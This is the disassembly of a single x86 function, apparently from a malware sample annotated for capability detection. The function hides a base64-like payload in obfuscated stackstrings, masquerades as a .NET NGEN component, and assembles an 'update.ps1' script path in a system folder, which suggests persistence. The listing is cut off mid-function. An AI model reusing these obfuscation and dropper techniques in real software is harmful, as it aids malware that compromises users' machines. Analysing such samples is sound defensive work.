Function at 0x1000e9f0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Get startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10180e95
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0xea8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xorps xmm0, xmm0
push 0x20
movups xmmword [ebp - 0x348], xmm0
call fcn.100171d6
movups xmm0, xmmword [str..NET_Framework_NGEN_v4.0.30320]
mov edx, eax
mov dword [ebp - 0x338], 0x1e
add esp, 4
mov dword [ebp - 0x348], edx
mov dword [ebp - 0x334], 0x1f
movups xmmword [edx], xmm0
movq xmm0, qword [0x101c6d20]
movq qword [edx + 0x10], xmm0
mov ecx, dword [0x101c6d28]
mov dword [edx + 0x18], ecx
mov ax, word [0x101c6d2c]
mov word [edx + 0x1c], ax
mov byte [edx + 0x1e], 0
push 0x104
lea eax, [ebp - 0x1f8]
mov dword [ebp - 4], 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x350], 0
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x34c], 0
movups xmmword [ebp - 0x360], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000ead0
sub ecx, edx
lea eax, [ebp - 0x1f8]
push ecx
push eax
lea ecx, [ebp - 0x360]
call fcn.10005380
mov byte [ebp - 4], 1
lea esi, [ebp - 0x1d0]
lea edi, [ebp - 0xf4]
mov dword [ebp - 0x1d0], 0x7468484a
mov dword [ebp - 0x1cc], 0x68424662
mov dword [ebp - 0x1c8], 0x67674764
mov dword [ebp - 0x1c4], 0x69415350
mov dword [ebp - 0x1c0], 0x4d314557
mov dword [ebp - 0x1bc], 0x76654c36
mov dword [ebp - 0x1b8], 0x45366235
mov dword [ebp - 0x1b4], 0x6b6f6749
mov dword [ebp - 0x1b0], 0x7a464764
mov dword [ebp - 0x1ac], 0x68353061
mov dword [ebp - 0x1a8], 0x67555762
mov dword [ebp - 0x1a4], 0x69415350
mov dword [ebp - 0x1a0], 0x37754c35
mov dword [ebp - 0x19c], 0x68715935
mov dword [ebp - 0x198], 0x4e435a35
mov dword [ebp - 0x194], 0x77653635
mov dword [ebp - 0x190], 0x6b6f6749
mov dword [ebp - 0x18c], 0x73314765
mov dword [ebp - 0x188], 0x75393251
mov dword [ebp - 0x184], 0x75564764
mov dword [ebp - 0x180], 0x39414364
mov dword [ebp - 0x17c], 0x6c644549
mov dword [ebp - 0x178], 0x44314364
mov dword [ebp - 0x174], 0x30353262
mov dword [ebp - 0x170], 0x3035575a
mov dword [ebp - 0x16c], 0x51314349
mov dword [ebp - 0x168], 0x6f525859
mov dword [ebp - 0x164], 0x34524349
mov dword [ebp - 0x160], 0x51785762
mov dword [ebp - 0x15c], 0x6f525859
mov dword [ebp - 0x158], 0x67774849
mov dword [ebp - 0x154], 0x30563354
mov dword [ebp - 0x150], 0x304e564c
mov dword [ebp - 0x14c], 0x756c6d63
mov dword [ebp - 0x148], 0x5370775a
mov dword [ebp - 0x144], 0x7064575a
mov dword [ebp - 0x140], 0x6c523363
mov dword [ebp - 0x13c], 0x54316963
mov dword [ebp - 0x138], 0x6c683259
mov dword [ebp - 0x134], 0x7356485a
mov dword [ebp - 0x130], 0x5552575a
mov dword [ebp - 0x12c], 0x724e5859
mov dword [ebp - 0x128], 0x59314349
mov dword [ebp - 0x124], 0x67775762
mov dword [ebp - 0x120], 0x7468484a
mov dword [ebp - 0x11c], 0x764e4562
mov dword [ebp - 0x118], 0x6c526e62
mov dword [ebp - 0x114], 0x67516e62
mov dword [ebp - 0x110], 0x6852564c
mov dword [ebp - 0x10c], 0x4f743263
mov dword [ebp - 0x108], 0x6c315759
mov dword [ebp - 0x104], 0x30524349
mov dword [ebp - 0x100], 0x724e5859
mov dword [ebp - 0xfc], 0x74466d54
mov dword [ebp - 0xf8], 0x3d3d515a
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x208], 0
sub edi, esi
je 0x1000ed76
cmp edi, 0x7fffffff
ja 0x100103a6
push edi
lea ecx, [ebp - 0x210]
call fcn.10006e50
push edi
push esi
mov esi, dword [ebp - 0x210]
push esi
call fcn.101579a0
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x20c], eax
mov byte [ebp - 4], 2
lea edi, [ebp - 0xeb8]
mov ecx, 0x299
mov dword [ebp - 0x204], 0
mov esi, 0x101c74c8
mov dword [ebp - 0x200], 0
rep movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0xeb8]
mov dword [ebp - 0x1fc], 0
lea edi, [ebp - 0x454]
sub edi, esi
je 0x1000edec
cmp edi, 0x7fffffff
ja 0x100103ab
push edi
lea ecx, [ebp - 0x204]
call fcn.10006e50
push edi
push esi
mov esi, dword [ebp - 0x204]
push esi
call fcn.101579a0
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x200], eax
lea edx, [ebp - 0x210]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x300]
call fcn.1000e900
lea edx, [ebp - 0x204]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2e8]
call fcn.1000e900
xorps xmm0, xmm0
mov dword [ebp - 0x2c0], 0
movups xmmword [ebp - 0x2d0], xmm0
mov dword [ebp - 0x2bc], 0xf
mov byte [ebp - 0x2d0], 0
movups xmmword [ebp - 0x2b8], xmm0
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0xf
mov byte [ebp - 0x2b8], 0
lea edx, [ebp - 0x300]
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x258]
call fcn.1000e270
lea ecx, [ebp - 0x2b8]
cmp ecx, eax
je 0x1000eea4
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x244]
cmp ecx, 0xf
jbe 0x1000eede
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000eed4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103b0
push ecx
push edx
call fcn.10154c15
add esp, 8
lea edx, [ebp - 0x2e8]
lea ecx, [ebp - 0x258]
call fcn.1000e270
lea ecx, [ebp - 0x2d0]
cmp ecx, eax
je 0x1000ef21
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2d0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2c0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x244]
cmp ecx, 0xf
jbe 0x1000ef5b
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000ef51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103b5
push ecx
push edx
call fcn.10154c15
add esp, 8
lea eax, [ebp - 0x1f8]
mov dword [ebp - 4], 7
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x1000efc4
xorps xmm0, xmm0
mov dword [ebp - 0x218], eax
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x214], eax
movups xmmword [ebp - 0x228], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000efa0
sub ecx, edx
lea eax, [ebp - 0x1f8]
push ecx
push eax
lea ecx, [ebp - 0x228]
call fcn.10005380
mov edi, dword [ebp - 0x218]
jmp 0x1000efff
mov edx, str.Error_retrieving_folder_path
mov ecx, 0x101efa68
call fcn.10004fc0
push eax
call fcn.1000a490
add esp, 4
mov dword [ebp - 0x214], 0xf
xorps xmm0, xmm0
xor edi, edi
movups xmmword [ebp - 0x228], xmm0
mov dword [ebp - 0x218], edi
mov byte [ebp - 0x228], 0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x4c]
lea esi, [ebp - 0x40]
mov dword [ebp - 0x4c], 0xfebcc4ce
sub esi, eax
mov dword [ebp - 0x48], 0xd4b6f8be
mov dword [ebp - 0x44], 0xb6beb7c2
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], esi
je 0x1000f068
cmp esi, 0x7fffffff
ja 0x100103ba
push esi
lea ecx, [ebp - 0x28]
call fcn.10006e50
push esi
mov esi, dword [ebp - 0x28]
lea eax, [ebp - 0x4c]
push eax
push esi
call fcn.101579a0
mov eax, dword [ebp - 0x1c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x450]
call fcn.1000e900
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x1000f0b2
mov edx, dword [ebp - 0x20]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000f0a8
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103bf
push edx
push ecx
call fcn.10154c15
add esp, 8
lea eax, [ebp - 0x360]
push eax
sub esp, 0x18
lea eax, [ebp - 0x2d0]
mov ecx, esp
lea esi, [ebp - 0x450]
push eax
call fcn.10003910
mov edx, esi
lea ecx, [ebp - 0x438]
call fcn.1000e720
add esp, 0x1c
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x40]
lea esi, [ebp - 0x2b]
mov dword [ebp - 0x40], 0x6c6f505c
sub esi, eax
mov dword [ebp - 0x3c], 0x4d796369
mov dword [ebp - 0x38], 0x67616e61
mov dword [ebp - 0x34], 0x6e656d65
mov dword [ebp - 0x30], 0x6d782e74
mov byte [ebp - 0x2c], 0x6c
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x1c], esi
je 0x1000f15b
cmp esi, 0x7fffffff
ja 0x100103c4
push esi
lea ecx, [ebp - 0x64]
call fcn.10006e50
push esi
mov esi, dword [ebp - 0x64]
lea eax, [ebp - 0x40]
push eax
push esi
call fcn.101579a0
mov eax, dword [ebp - 0x1c]
add esp, 0xc
add eax, esi
mov dword [ebp - 0x60], eax
lea edx, [ebp - 0x64]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x240]
call fcn.1000e900
mov esi, eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x228]
cmp dword [ebp - 0x214], 0xf
mov eax, dword [esi + 0x14]
cmova ecx, dword [ebp - 0x228]
mov edx, dword [esi + 0x10]
mov dword [ebp - 0x74], eax
sub eax, edx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x44], edx
cmp edi, eax
ja 0x1000f222
cmp dword [ebp - 0x74], 0xf
lea eax, [edx + edi]
mov dword [esi + 0x10], eax
mov edx, esi
mov dword [ebp - 0x20], esi
jbe 0x1000f1b6
mov edx, dword [esi]
mov dword [ebp - 0x20], edx
lea eax, [ecx + edi]
cmp eax, edx
jbe 0x1000f1dc
mov eax, dword [ebp - 0x44]
add eax, edx
cmp ecx, eax
ja 0x1000f1dc
cmp edx, ecx
ja 0x1000f1d3
mov dword [ebp - 0x74], 0
jmp 0x1000f1df
mov eax, edx
sub eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x1000f1df
mov dword [ebp - 0x74], edi
mov eax, dword [ebp - 0x44]
lea ecx, [edx + edi]
inc eax
push eax
push edx
push ecx
call fcn.101579a0
add esp, 0xc
push dword [ebp - 0x74]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
call fcn.101579a0
mov edx, dword [ebp - 0x74]
add esp, 0xc
mov ecx, dword [ebp - 0x20]
mov eax, edi
sub eax, edx
add ecx, edx
push eax
mov eax, dword [ebp - 0x1c]
add eax, edx
add eax, edi
push eax
push ecx
call fcn.101579a0
add esp, 0xc
jmp 0x1000f236
push edi
push ecx
push ecx
mov byte [ebp - 0x1c], 0
mov ecx, esi
push dword [ebp - 0x1c]
push edi
call fcn.10011720
mov esi, eax
mov dword [ebp - 0x260], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x270], xmm0
mov dword [ebp - 0x25c], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x270], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x260], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x22c]
cmp ecx, 0xf
jbe 0x1000f2ba
mov edx, dword [ebp - 0x240]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f2b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103c9
push ecx
push edx
call fcn.10154c15
add esp, 8
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x64]
test ecx, ecx
je 0x1000f30d
mov edx, dword [ebp - 0x5c]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000f303
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103c9
push edx
push ecx
call fcn.10154c15
add esp, 8
cmp dword [ebp - 0x25c], 0xf
lea edx, [ebp - 0x270]
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
cmova edx, dword [ebp - 0x270]
mov ecx, edx
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x70], xmm0
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000f340
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x70]
call fcn.10005380
lea edx, [ebp - 0x438]
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x70]
call fcn.1000e7e0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x1000f39d
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f393
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103ce
push ecx
push edx
call fcn.10154c15
add esp, 8
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x25c], 0xf
lea edx, [ebp - 0x270]
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
cmova edx, dword [ebp - 0x270]
mov ecx, edx
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000f3d6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x58]
call fcn.10005380
mov byte [ebp - 4], 0x15
lea esi, [ebp - 0x24]
lea edi, [ebp - 0x1d]
mov dword [ebp - 0x24], 0xc24c4d58
mov word [ebp - 0x20], 0xbeb7
mov byte [ebp - 0x1e], 0xb6
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
sub edi, esi
je 0x1000f446
cmp edi, 0x7fffffff
ja 0x100103d3
push edi
lea ecx, [ebp - 0x64]
call fcn.10006e50
push edi
push esi
mov esi, dword [ebp - 0x64]
push esi
call fcn.101579a0
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x60], eax
lea edx, [ebp - 0x64]
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x318]
call fcn.1000e900
mov esi, eax
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x17
push eax
sub esp, 0x18
lea eax, [ebp - 0x2b8]
mov ecx, esp
push eax
call fcn.10003910
mov edx, esi
lea ecx, [ebp - 0x288]
call fcn.1000e720
add esp, 0x1c
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x304]
cmp ecx, 0xf
jbe 0x1000f4c1
mov edx, dword [ebp - 0x318]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f4b7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103d8
push ecx
push edx
call fcn.10154c15
add esp, 8
mov dword [ebp - 0x308], 0
mov dword [ebp - 0x304], 0xf
mov byte [ebp - 0x318], 0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x64]
test ecx, ecx
je 0x1000f514
mov edx, dword [ebp - 0x5c]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000f50a
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103d8
push edx
push ecx
call fcn.10154c15
add esp, 8
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x1000f54c
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f542
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103d8
push ecx
push edx
call fcn.10154c15
add esp, 8
mov edx, dword [ebp - 0x348]
xorps xmm0, xmm0
mov ecx, edx
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000f570
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.10005380
mov byte [ebp - 4], 0x1c
lea esi, [ebp - 0x48]
lea edi, [ebp - 0x40]
mov dword [ebp - 0x48], 0xf1cecec8
mov dword [ebp - 0x44], 0xc6b3fbc3
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
sub edi, esi
je 0x1000f5dd
cmp edi, 0x7fffffff
ja 0x100103dd
push edi
lea ecx, [ebp - 0x64]
call fcn.10006e50
push edi
push esi
mov esi, dword [ebp - 0x64]
push esi
call fcn.101579a0
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x60], eax
lea edx, [ebp - 0x64]
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x2a0]
call fcn.1000e900
mov esi, eax
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0x1e
push eax
sub esp, 0x18
lea eax, [ebp - 0x288]
mov ecx, esp
push eax
call fcn.10003910
mov edx, esi
lea ecx, [ebp - 0x240]
call fcn.1000e720
mov esi, eax
add esp, 0x1c
lea eax, [ebp - 0x288]
cmp eax, esi
je 0x1000f6a3
mov ecx, dword [ebp - 0x274]
cmp ecx, 0xf
jbe 0x1000f660
mov edx, dword [ebp - 0x288]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f656
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103e2
push ecx
push edx
call fcn.10154c15
add esp, 8
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0xf
mov byte [ebp - 0x288], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x288], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x278], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x22c]
cmp ecx, 0xf
jbe 0x1000f6dd
mov edx, dword [ebp - 0x240]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f6d3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103e2
push ecx
push edx
call fcn.10154c15
add esp, 8
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x28c]
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
cmp ecx, 0xf
jbe 0x1000f736
mov edx, dword [ebp - 0x2a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f72c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103e2
push ecx
push edx
call fcn.10154c15
add esp, 8
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
test ecx, ecx
je 0x1000f789
mov edx, dword [ebp - 0x5c]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000f77f
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103e2
push edx
push ecx
call fcn.10154c15
add esp, 8
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x1000f7c1
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f7b7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103e2
push ecx
push edx
call fcn.10154c15
add esp, 8
mov ecx, dword [ebp - 0x218]
mov eax, SysReAllocString
sub eax, ecx
cmp eax, 1
jb 0x100103e7
cmp dword [ebp - 0x214], 0xf
lea eax, [ebp - 0x228]
lea edx, [ecx + 1]
mov dword [ebp - 0x30], 0
cmova eax, dword [ebp - 0x228]
lea edi, [ebp - 0x40]
mov esi, 0xf
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x2c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1c], edx
movups xmmword [ebp - 0x40], xmm0
cmp edx, esi
jbe 0x1000f88e
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x1000f84b
mov ecx, SysReAllocStringLen
mov esi, SysReAllocString
add ecx, 0x23
push ecx
call fcn.100171d6
add esp, 4
test eax, eax
je 0x100103f1
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x1000f87f
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
test eax, eax
jne 0x1000f860
xor edi, edi
jmp 0x1000f888
cmp eax, 0x1000
jb 0x1000f874
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x100103ec
jmp 0x1000f82f
push eax
call fcn.100171d6
add esp, 4
mov edi, eax
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x218]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], edi
push ecx
push eax
push edi
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], esi
call fcn.101579a0
mov eax, dword [ebp - 0x218]
add esp, 0xc
mov byte [eax + edi], 0x5c
mov byte [edi + eax + 1], 0
push 0x75
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x258]
call fcn.10010f10
add esp, 4
push 0x70
mov edx, eax
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x330]
call fcn.10010f10
add esp, 4
push 0x64
mov edx, eax
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x90]
call fcn.10010f10
add esp, 4
push 0x61
mov edx, eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x3d8]
call fcn.10010f10
add esp, 4
push 0x74
mov edx, eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x3c0]
call fcn.10010f10
add esp, 4
push 0x65
mov edx, eax
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x3a8]
call fcn.10010f10
add esp, 4
push 0x64
mov edx, eax
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x390]
call fcn.10010f10
add esp, 4
push 0x2e
mov edx, eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x70]
call fcn.10010f10
add esp, 4
push 0x70
mov edx, eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x240]
call fcn.10010f10
add esp, 4
push 0x73
mov edx, eax
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x2a0]
call fcn.10010f10
add esp, 4
push 0x31
mov edx, eax
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x378]
call fcn.10010f10
add esp, 4
mov byte [ebp - 4], 0x2b
mov ecx, dword [ebp - 0x28c]
cmp ecx, 0xf
jbe 0x1000f9dc
mov edx, dword [ebp - 0x2a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f9d2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103f1
push ecx
push edx
call fcn.10154c15
add esp, 8
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x22c]
cmp ecx, 0xf
jbe 0x1000fa35
mov edx, dword [ebp - 0x240]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000fa2b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103f1
push ecx
push edx
call fcn.10154c15
add esp, 8
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
mov byte [ebp - 4], 0x2d
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x1000fa88
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000fa7e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103f1
push ecx
push edx
call fcn.10154c15
add esp, 8
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0x37c]
cmp ecx, 0xf
jbe 0x1000fad8
mov edx, dword [ebp - 0x390]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000face
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103f1
push ecx
push edx
call fcn.10154c15
add esp, 8
mov dword [ebp - 0x380], 0
mov dword [ebp - 0x37c], 0xf
mov byte [ebp - 0x390], 0
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x394]
cmp ecx, 0xf
jbe 0x1000fb31
mov edx, dword [ebp - 0x3a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000fb27
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103f1
push ecx
push edx
call fcn.10154c15
add esp, 8
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 0xf
mov byte [ebp - 0x3a8], 0
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0x3ac]
cmp ecx, 0xf
jbe 0x1000fb8a
mov edx, dword [ebp - 0x3c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000fb80
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103f1
push ecx
push edx
call fcn.10154c15
add esp, 8
mov dword [ebp - 0x3b0], 0
mov dword [ebp - 0x3ac], 0xf
mov byte [ebp - 0x3c0], 0
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0x3c4]
cmp ecx, 0xf
jbe 0x1000fbe3
mov edx, dword [ebp - 0x3d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000fbd9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103f1
push ecx
push edx
call fcn.10154c15
add esp, 8
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0x3c4], 0xf
mov byte [ebp - 0x3d8], 0
mov byte [ebp - 4], 0x32
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0xf
jbe 0x1000fc39
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000fc2f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103f1
push ecx
push edx
call fcn.10154c15
add esp, 8
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x31c]
cmp ecx, 0xf
jbe 0x1000fc8c
mov edx, dword [ebp - 0x330]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000fc82
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100103f1
push ecx
push edx
call fcn.10154c15
add esp, 8
